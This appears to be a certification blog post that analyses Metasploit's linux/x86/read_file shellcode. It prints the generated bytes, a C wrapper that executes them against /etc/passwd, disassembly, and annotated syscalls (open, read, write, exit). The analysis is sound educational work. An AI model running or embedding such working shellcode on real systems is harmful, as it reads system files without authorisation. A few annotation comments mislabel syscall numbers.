Analysis of Metasploit linux/x86/read_file shellcode

This post analyses innards of linux/x86/read_file shellcode. This shellcode reads from the local file system and writes it back out to the specified file descriptor.

Initial shellcode overview and testing

Inspect payload options and generate shellcode for analysis

$ msfvenom -p linux/x86/read_file --list-options
Options for payload/linux/x86/read_file:
=========================


       Name: Linux Read File
     Module: payload/linux/x86/read_file
   Platform: Linux
       Arch: x86
Needs Admin: No
 Total size: 62
       Rank: Normal

Provided by:
    hal

Basic options:
Name  Current Setting  Required  Description
----  ---------------  --------  -----------
FD    1                yes       The file descriptor to write output to
PATH                   yes       The file path to read

Description:
  Read up to 4096 bytes from the local file system and write it back 
  out to the specified file descriptor

linux/x86/read_file payload has two options. We will keep FD set to 1 (STDOUT) and set path to /etc/passwd.

$ msfvenom -p linux/x86/read_file -f c PATH=/etc/passwd
Payload size: 73 bytes
Final size of c file: 331 bytes
unsigned char buf[] = 
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";

At first glance the shellcode has huge amount of NULL-bytes. We could eliminate them by adding -b “\x00” flag to the msfvenom command. However we need to analyze this shellcode and any encoding would just made the analysis harder.

Insert generated shellcode into testing C wrapper

#include<stdio.h>
#include<string.h>

unsigned char code[] = \
// msfvenom -p linux/x86/read_file -f c PATH=/etc/passwd
"\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8"
"\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80"
"\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8"
"\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff"
"\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00";

main()
{
	printf("Shellcode Length:  %d\n", strlen(code));
	int (*CodeFun)() = (int(*)())code;
	CodeFun();
}

Running shellcode prints out content of /etc/passwd on local system to STDOUT

$ ./shellcode 
Shellcode Length:  4
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
...

Notice the Shellcode Length: 4. NULL bytes in shellcode caused early termination of loop in C strlen() implementation and counted just first 4 bytes.

Shellcode analysis

Running libemu sctest doesn’t bring fruits again and we get executed just first ~6 instructions

$ msfvenom -p linux/x86/read_file -f raw | ./sctest -vvv -Ss 100000
verbose = 3
[emu 0x0x853d078 debug ] cpu state    eip=0x00417000
[emu 0x0x853d078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x853d078 debug ] Flags: 
[emu 0x0x853d078 debug ] cpu state    eip=0x00417000
[emu 0x0x853d078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x853d078 debug ] Flags: 
[emu 0x0x853d078 debug ] EB                              jmp 0x1
[emu 0x0x853d078 debug ] cpu state    eip=0x00417038
[emu 0x0x853d078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x853d078 debug ] Flags: 
[emu 0x0x853d078 debug ] E8                              call 0x1
[emu 0x0x853d078 debug ] cpu state    eip=0x00417002
[emu 0x0x853d078 debug ] eax=0x00000000  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x853d078 debug ] Flags: 
[emu 0x0x853d078 debug ] B805000000                      mov eax,0x5
[emu 0x0x853d078 debug ] cpu state    eip=0x00417007
[emu 0x0x853d078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x00000000
[emu 0x0x853d078 debug ] esp=0x00416fca  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x853d078 debug ] Flags: 
[emu 0x0x853d078 debug ] 5B                              pop ebx
[emu 0x0x853d078 debug ] cpu state    eip=0x00417008
[emu 0x0x853d078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x853d078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x853d078 debug ] Flags: 
[emu 0x0x853d078 debug ] 31C9                            xor ecx,ecx
[emu 0x0x853d078 debug ] cpu state    eip=0x0041700a
[emu 0x0x853d078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x853d078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x853d078 debug ] Flags: PF ZF 
[emu 0x0x853d078 debug ] CD80                            int 0x80
stepcount 5
[emu 0x0x853d078 debug ] cpu state    eip=0x0041700c
[emu 0x0x853d078 debug ] eax=0x00000005  ecx=0x00000000  edx=0x00000000  ebx=0x0041703d
[emu 0x0x853d078 debug ] esp=0x00416fce  ebp=0x00000000  esi=0x00000000  edi=0x00000000
[emu 0x0x853d078 debug ] Flags: PF ZF

Let’s disassemble shellcode with ndisasm

$ echo -ne "\xeb\x36\xb8\x05\x00\x00\x00\x5b\x31\xc9\xcd\x80\x89\xc3\xb8\x03\x00\x00\x00\x89\xe7\x89\xf9\xba\x00\x10\x00\x00\xcd\x80\x89\xc2\xb8\x04\x00\x00\x00\xbb\x01\x00\x00\x00\xcd\x80\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xc5\xff\xff\xff\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x00" | ndisasm -u -
00000000  EB36              jmp short 0x38
00000002  B805000000        mov eax,0x5
00000007  5B                pop ebx
00000008  31C9              xor ecx,ecx
0000000A  CD80              int 0x80
0000000C  89C3              mov ebx,eax
0000000E  B803000000        mov eax,0x3
00000013  89E7              mov edi,esp
00000015  89F9              mov ecx,edi
00000017  BA00100000        mov edx,0x1000
0000001C  CD80              int 0x80
0000001E  89C2              mov edx,eax
00000020  B804000000        mov eax,0x4
00000025  BB01000000        mov ebx,0x1
0000002A  CD80              int 0x80
0000002C  B801000000        mov eax,0x1
00000031  BB00000000        mov ebx,0x0
00000036  CD80              int 0x80
00000038  E8C5FFFFFF        call dword 0x2
0000003D  2F                das
0000003E  657463            gs jz 0xa4
00000041  2F                das
00000042  7061              jo 0xa5
00000044  7373              jnc 0xb9
00000046  7764              ja 0xac
00000048  00                db 0x00

Quick inspection uncovers that there are four system calls in the code. All instructions except that ones after call instruction look valid and uncorrupted. Garbage instructions after call instruction signifies JMP-CALL-POP pattern.

Assembly part 1 – JMP-CALL-POP pattern

00000000  EB36              jmp short 0x38      ; jumps to 00000038
00000002  B805000000        mov eax,0x5
...
...
00000038  E8C5FFFFFF        call dword 0x2      ; 0000003D is loaded into esp and execution returned to 00000002
0000003D  2F                das                 ; payload data ("/etc/passwd")
0000003E  657463            gs jz 0xa4          ; payload data ("/etc/passwd")
00000041  2F                das                 ; payload data ("/etc/passwd")
00000042  7061              jo 0xa5             ; payload data ("/etc/passwd")
00000044  7373              jnc 0xb9            ; payload data ("/etc/passwd")
00000046  7764              ja 0xac             ; payload data ("/etc/passwd")
00000048  00                db 0x00             ; string NULL terminator

At first glance the shellcode utilizes JMP – CALL – POP pattern to point to payload data. Program execution jumps to 00000038 after first instruction. At 00000038 call instruction pushes 0000003D to the top of the stack and execution jumps to 00000002.

If we inspect payload data bytes and convert them to ASCII we get content of PATH option passed to msfvenom shellcode generator.

2F6574632F706173737764 ==> /etc/passwd0x00

Assembly part 2 – System call 0x5

00000002  B805000000        mov eax,0x5         ; eax=5, open() syscall
00000007  5B                pop ebx             ; ebx points to 0000003D (jmp-call-pop)
00000008  31C9              xor ecx,ecx         ; ecx=0, O_RDONLY flag
0000000A  CD80              int 0x80            ; invoke system call 0x5, open()

System call 0x5 (5) is open(). Signature for open() call is

int open(const char *pathname, int flags);

From man pages we get description

Given a pathname for a file, open() returns a file descriptor, a small, nonnegative integer for use in subsequent system
calls (read(2), write(2), lseek(2), fcntl(2), etc.)

Data pointed to by EBX goes to pathname and since pop ebx loads address from previous call instruction the EBX now points to

2F6574632F706173737764 ==> /etc/passwd0x00

string. Flags are passed via ECX register and set to 0 which is O_RDONLY flag. From strace we can check that that this assembly stub executes

open("/etc/passwd", O_RDONLY)           = 3

Where 3 would be file descriptor returned to EAX.

Assembly part 3 – System call 0x3

0000000C  89C3              mov ebx,eax         ; move file descriptor to ebx
0000000E  B803000000        mov eax,0x3         ; eax=3, read() syscall
00000013  89E7              mov edi,esp         ; edi=esp, polymorphic pattern?
00000015  89F9              mov ecx,edi         ; ecx=edi=esp, ecx points to valid stack, stack used as buffer in read()
00000017  BA00100000        mov edx,0x1000      ; edx=0x1000, read 0x1000(4096) bytes
0000001C  CD80              int 0x80            ; invoke system call 0x3, read()

System call 0x3 (3) is read(). Signature for read() call is

ssize_t read(int fd, void *buf, size_t count);

From man pages we get description

read() attempts to read up to count bytes from file descriptor fd into the buffer starting at buf.

EBX contains file descriptor number which goes to fd argument. ECX points to top of the stack and this address is passed to buf argument. Thus read data will be stored in stack. EDX contains 0x1000 (4096) and is passed to third argument count. Return value contains number of bytes read from given file descriptor and is stored in EAX.

Assembly part 4 – System call 0x4

0000001E  89C2              mov edx,eax         ; number of bytes to write
00000020  B804000000        mov eax,0x4         ; eax=3, write() syscall
00000025  BB01000000        mov ebx,0x1         ; write to FD1 which is STDOUT
0000002A  CD80              int 0x80            ; invoke system call 0x4, write()

System call 0x4 (4) is write(). Signature for write() call is

ssize_t write(int fd, const void *buf, size_t count);

From man pages we get description

write() writes up to count bytes from the buffer pointed buf to the file referred to by the file descriptor fd.

EBX is set to 0x1 (1) which is number of STDOUT file descriptor and is passed as fd argument. ECX points to the top of the stack and was set in previous Assembly part 4. Remember that we saved data from /etc/passwd to stack by previous read call so we will print it to STDOUT now. EDX contains count of read bytes from read() call and is used as same argument in write() function.

Assembly part 5 – System call 0x1

0000002C  B801000000        mov eax,0x1         ; eax=1, exit() syscall
00000031  BB00000000        mov ebx,0x0         ; set status to 0, no effect
00000036  CD80              int 0x80            ; invoke system call 0x1, exit()

System call 0x1 (1) is exit(). Signature for exit() call is

void _exit(int status);

From man pages we get description

The function _exit() terminates the calling process "immediately". Any open file descriptors belonging to the process are closed.

EBX=0x0 (0) is passed as status parameter but since this shellcode hasn’t got any parent process this argument has no effect on shellcode run-time.

Final assembly analysis overview

00000000  EB36              jmp short 0x38      ; jumps to 00000038
00000002  B805000000        mov eax,0x5         ; eax=5, open() syscall
00000007  5B                pop ebx             ; ebx points to 0000003D (jmp-call-pop)
00000008  31C9              xor ecx,ecx         ; ecx=0, O_RDONLY flag
0000000A  CD80              int 0x80            ; invoke system call 0x5, open()
0000000C  89C3              mov ebx,eax         ; move file descriptor to ebx
0000000E  B803000000        mov eax,0x3         ; eax=3, read() syscall
00000013  89E7              mov edi,esp         ; edi=esp, polymorphic pattern?
00000015  89F9              mov ecx,edi         ; ecx=edi=esp, ecx points to valid stack, stack used as buffer in read()
00000017  BA00100000        mov edx,0x1000      ; edx=0x1000, read 0x1000(4096) bytes
0000001C  CD80              int 0x80            ; invoke system call 0x3, read()
0000001E  89C2              mov edx,eax         ; number of bytes to write
00000020  B804000000        mov eax,0x4         ; eax=3, write() syscall
00000025  BB01000000        mov ebx,0x1         ; write to FD1 which is STDOUT
0000002A  CD80              int 0x80            ; invoke system call 0x4, write()
0000002C  B801000000        mov eax,0x1         ; eax=3, write() syscall
00000031  BB00000000        mov ebx,0x0         ; set status to 0, no effect
00000036  CD80              int 0x80            ; invoke system call 0x1, exit()
00000038  E8C5FFFFFF        call dword 0x2      ; 0000003D is loaded into esp and execution returned to 00000002
0000003D  2F                das                 ; payload data ("/etc/passwd")
0000003E  657463            gs jz 0xa4          ; payload data ("/etc/passwd")
00000041  2F                das                 ; payload data ("/etc/passwd")
00000042  7061              jo 0xa5             ; payload data ("/etc/passwd")
00000044  7373              jnc 0xb9            ; payload data ("/etc/passwd")
00000046  7764              ja 0xac             ; payload data ("/etc/passwd")
00000048  00                db 0x00             ; string NULL terminator

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification

Github code

Student ID: SLAE-1443

Leave a Reply